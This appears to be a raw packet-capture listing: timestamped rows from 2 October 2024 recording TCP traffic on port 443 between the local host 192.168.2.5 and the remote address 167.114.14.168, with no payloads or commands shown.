Oct 2, 2024 06:10:27.279154062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279190063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279217958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279764891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279807091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279840946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279848099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.279870033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.279891014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.281699896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.281743050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.281776905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.281783104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.281809092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.281829119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.289485931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.289539099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.289568901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.289575100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.289587021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.289613008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.292678118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.292721033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.292754889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.292762041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.292790890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.292812109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.293579102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.293621063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.293656111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.293663025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.293687105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.293698072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.294359922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.294413090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.294437885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.294444084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.294466019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.294481039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367224932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367269993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367300987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367310047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367326021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367347002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367700100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367769003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367789030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367795944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.367818117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.367831945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.368052006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.368093014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.368123055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.368129015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.368161917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.368180037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.370101929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.370146036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.370173931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.370181084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.370203018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.370219946 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.378024101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.378067970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.378093958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.378101110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.378110886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.378137112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381086111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381130934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381165981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381171942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381181002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381210089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381683111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381726980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381745100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381752968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.381783009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.381793022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.382545948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.382589102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.382613897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.382620096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.382648945 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.382661104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.455657005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.455698967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.455732107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.455739975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.455775023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.455794096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.456125021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456167936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456264973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.456271887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456312895 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.456583023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456628084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456657887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.456664085 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.456691980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.456706047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.458637953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.458682060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.458715916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.458723068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.458753109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.458770990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.466587067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.466629028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.466658115 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.466665030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.466691971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.466711044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.469656944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.469697952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.469806910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.469806910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.469814062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.469919920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.470113993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.470155954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.470180988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.470187902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.470217943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.470231056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.471290112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.471332073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.471369028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.471375942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.471400976 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.471421003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544147968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544208050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544236898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544251919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544272900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544295073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544605970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544650078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544671059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544678926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.544708014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.544722080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.545114040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.545159101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.545180082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.545186996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.545212984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.545228004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.547290087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.547329903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.547360897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.547368050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.547396898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.547415018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.555136919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.555185080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.555213928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.555221081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.555250883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.555262089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558108091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558154106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558177948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558185101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558216095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558229923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558646917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558689117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558718920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558723927 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.558744907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.558762074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.562032938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.562076092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.562094927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.562102079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.562119007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.562138081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.632716894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.632765055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.632808924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.632828951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.632846117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.632880926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633073092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633116961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633141041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633147001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633169889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633183956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633449078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633497953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633523941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633528948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.633548975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.633573055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.635824919 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.635869026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.635890961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.635898113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.635922909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.635936022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.643696070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.643738031 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.643780947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.643788099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.643827915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.646732092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.646774054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.646799088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.646806002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.646826982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.646848917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.647376060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.647443056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.647455931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.647517920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.650482893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.650540113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.650573015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.650582075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.650607109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.650624990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721381903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721493006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721499920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721528053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721563101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721585989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721781969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721828938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721852064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721860886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.721872091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721894979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.721906900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.722294092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.722335100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.722368002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.722374916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.722405910 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.722417116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.724406958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.724467039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.724478006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.724490881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.724522114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.724531889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.732331991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.732372999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.732410908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.732418060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.732446909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.732462883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.735085964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.735135078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.735153913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.735162020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.735188961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.735202074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.735935926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.735980034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.736002922 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.736010075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.736035109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.736052990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.738970995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.739011049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.739039898 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.739047050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.739069939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.739075899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.809843063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.809889078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.809956074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.809962988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810000896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810283899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810343981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810348034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810367107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810398102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810424089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810841084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810883999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810913086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810919046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.810945988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.810966015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.812927008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.812966108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.812994003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.813000917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.813026905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.813044071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.820792913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.820837975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.820858955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.820866108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.820894003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.820909977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.823712111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.823757887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.823895931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.823903084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.823949099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.824606895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.824661016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.824691057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.824698925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.824728966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.824748039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.827548027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.827594995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.827616930 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.827624083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.827641010 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.827666044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.898394108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.898452044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.898520947 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.898531914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.898562908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.898585081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.899019957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899061918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899094105 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:27.899100065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:27.899125099 CEST	49715	443	192.168.2.5	167.114.14.168
